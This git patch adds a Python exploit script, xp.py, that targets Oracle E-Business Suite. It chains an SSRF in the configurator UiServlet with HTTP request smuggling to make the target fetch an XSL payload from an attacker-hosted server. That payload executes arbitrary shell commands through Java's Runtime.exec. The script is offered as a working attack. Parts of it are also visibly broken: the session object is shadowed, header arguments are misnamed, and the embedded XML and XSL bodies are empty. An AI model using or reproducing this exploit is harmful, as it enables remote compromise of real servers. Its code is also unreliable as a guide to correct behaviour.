From 713423e2502c7141b5d97dee923905401ffedafd Mon Sep 17 00:00:00 2001 From: evan <1+e@noreply.gitea.im0.zenith.hosting> Date: Fri, 19 Jun 2026 04:33:46 +0000 Subject: [PATCH] Add xp.py --- xp.py | 152 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 xp.py diff --git a/xp.py b/xp.py new file mode 100644 index 0000000..4c3f779 --- /dev/null +++ b/xp.py @@ -0,0 +1,152 @@ +import base64 +import logging +import sys +import urllib.parse +import requests +import urllib3 +from aiohttp import web + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +logging.basicConfig(level=logging.DEBUG) +routes = web.RouteTableDef() +sess = requests.Session() +sess.verify = False + +conflagorator = "" + +@routes.get('/OA_HTML/help/../%252Fieshostedsurvey.xsl') +async def h1(request): + global conflagorator + return web.Response(text=conflagorator) + +#https://docs.oracle.com/cd/E26401_01/doc.122/e49076/T349071T351261.htm +@routes.post('/OA_HTML/help/../%252FibeCRgpIndividualUser.jsp') +async def h2(request): + global conflagorator + return web.Response(text=conflagorator) + +def sess(tgt): + global internals, hdr + r = sess.get(tgt + "/OA_HTML/%252Frunforms.jsp", hdrs=hdr, allow_redirects=False) + if r.status_code == 302: + loc = r.hdrs['Location'] + loc_url = urllib.parse.urlparse(loc) + if loc_url.hostname != internals: + print(f'+ {loc_url.hostname} reset') + internals = loc_url.hostname + sess.get(f'{tgt}{loc_url.path}?{loc_url.query}') + h2 = hdr.copy() + h2.update({"CSRF-XHR": "YES", "FETCH-CSRF-TOKEN": "1"}) + r2 = sess.post(tgt + "/OA_HTML/JavaScriptServlet", hdrs=h2) + tok = r2.text.split(":")[1] + if tok: + return tok + else: + sys.exit(1) + +def begingen(pl): + if pl.startswith("POST "): + pl = pl[5:] + elif pl.startswith("GET "): + pl = pl[4:] + elif pl.startswith("PATCH "): + pl = pl[6:] + pl = pl.replace("\n", "\r\n") + # entities Loooooooool + return ''.join([f'&#{ord(c)};' for c in pl]) + +def ssrf(tgt, pl): + xml = f''' + + test + http://{internals}:7201{pl} + 0runforms + 0 + Applet +''' + print('+ ssrf attempt') + sess.post(tgt + "/OA_HTML/configurator/UiServlet", hdrs=hdr, + data={"redirectFromJsp": "1", "getUiType": xml}) + print('+ check receiver server') + +def splitter(tgt, evil): + sess(tgt) + print('+ prepping brahhh ') + keep = "\r\n\r\n\r\nPOST /" + cookies = "; ".join([f"{c.name}={c.value}" for c in sess.cookies]) + rce = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 +Host: {evil} +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Connection: keep-alive +Cookie: {cookies} + +''' + rce += keep + pl = begingen(rce) + ssrf(tgt, pl) + +if __name__ == '__main__': + print("hi") + if len(sys.argv) < 2: + print("wtf") + sys.exit(1) + + mode = sys.argv[1] + hdr = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"} + + if mode == "server": + if len(sys.argv) != 5: + sys.exit(1) + port = int(sys.argv[2]) + # censys/shod + system = sys.argv[3].lower() + cmd = sys.argv[4] + shell = ['sh', '-c'] + if system == 'windows': + shell = ['cmd', '/c'] + else: + print("?") + sys.exit(1) + js = f""" + var stringc = java.lang.Class.forName('java.lang.String'); + var cmds = java.lang.reflect.Array.newInstance(stringc,3); + java.lang.reflect.Array.set(cmds,0,'{shell[0]}'); + java.lang.reflect.Array.set(cmds,1,'{shell[1]}'); + java.lang.reflect.Array.set(cmds,2,'{cmd}'); + java.lang.Runtime.getRuntime().exec(cmds); + 1 + """ + b64jsp = base64.b64encode(js.encode()).decode() + conflagorator = f''' + ies + + + + + + + + ''' + app = web.Application() + app.add_routes(routes) + web.run_app(app, port=port) + + elif mode == "clap": + if len(sys.argv) != 4: + sys.exit(1) + targ = sys.argv[2] + lmao = sys.argv[3] + if targ.endswith("/"): + targ = targ[:-1] + internals = urllib.parse.urlparse(targ).hostname + print(f'+ {internals}') + splitter(targ, lmao) + print("ok we GOOD") + else: + sys.exit(1)